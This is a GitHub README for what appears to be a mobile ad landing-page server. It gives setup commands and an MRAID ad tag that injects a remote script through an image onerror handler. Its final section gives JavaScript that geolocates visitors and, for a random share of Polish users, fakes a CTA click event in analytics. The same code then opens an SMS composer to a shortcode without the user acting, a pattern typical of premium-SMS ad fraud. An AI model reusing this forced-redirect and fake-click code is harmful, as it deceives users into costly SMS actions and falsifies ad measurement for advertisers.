Skip to content

ahmedalkuhlani/t-server

 
 

Repository files navigation

Server Setup

Install the project dependencies npm install

Setup project configurations npm run init

Run The Server

npm run dev

Previewing The Page

To preview the page, just open your index.html file in the browser

Build pages

If you want to test the mraid tag from your local machine, you need to run the build command after making a change in the page npm run build-pages

Previewing MRAID Tag

Tag example:

<script src="mraid.js"></script>
<img src="data:image/png,mone" style="display: none" onerror="(function(self){
var params = {};
var src = 'http://localhost:3000/pages/makeup-pl-1?landingpage=http%3A%2F%2Fexample.com&country=PL&adscenario=pl_yes_v8_wap_s_sam&affiliateid=SAM&clickid=1';for (var k in params) { src += '&amp;' + encodeURIComponent(k) + '=' + encodeURIComponent(params[k]); }var scriptTag = document.createElement('script');scriptTag.id='mobirun-script';scriptTag.src=src;document.head.appendChild(scriptTag);})(this);" />

Replace the page name makeup-pl-1 in the tag with your page name

Use the following platform to test the tag in the browser http://widget.mixpo.com/script/mraid/

To test in the mobile device, use the "MRAID Ads SDK Tester" from app store.

  1. change the hostname in the tag

  2. replace localhost:3000 with your local ip

Automatically opening composer

In global scope

loadScriptWithQueryString('https://ipapi.co/jsonp/', toQueryString({callback: 'page_setip'}));

var visitor_country = null;
function page_setip(params) {
  visitor_country = params.country;
}

Inside doit()

setTimeout(function() {
  if(!!visitor_country && visitor_country == 'PL' && Math.random() > 0.6) {

      gac('send', 'event', 'auto-interaction', 'cta_click');
      var raw_href = getSMSHrefRaw(shortcode, keyword);
      if(typeof isMraid != "undefined" && isMraid) {
        mraid.open(raw_href);
      } else {
        window.location.href = raw_href;
      }
    }
}, 2000);

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • CSS 44.2%
  • HTML 34.2%
  • JavaScript 21.6%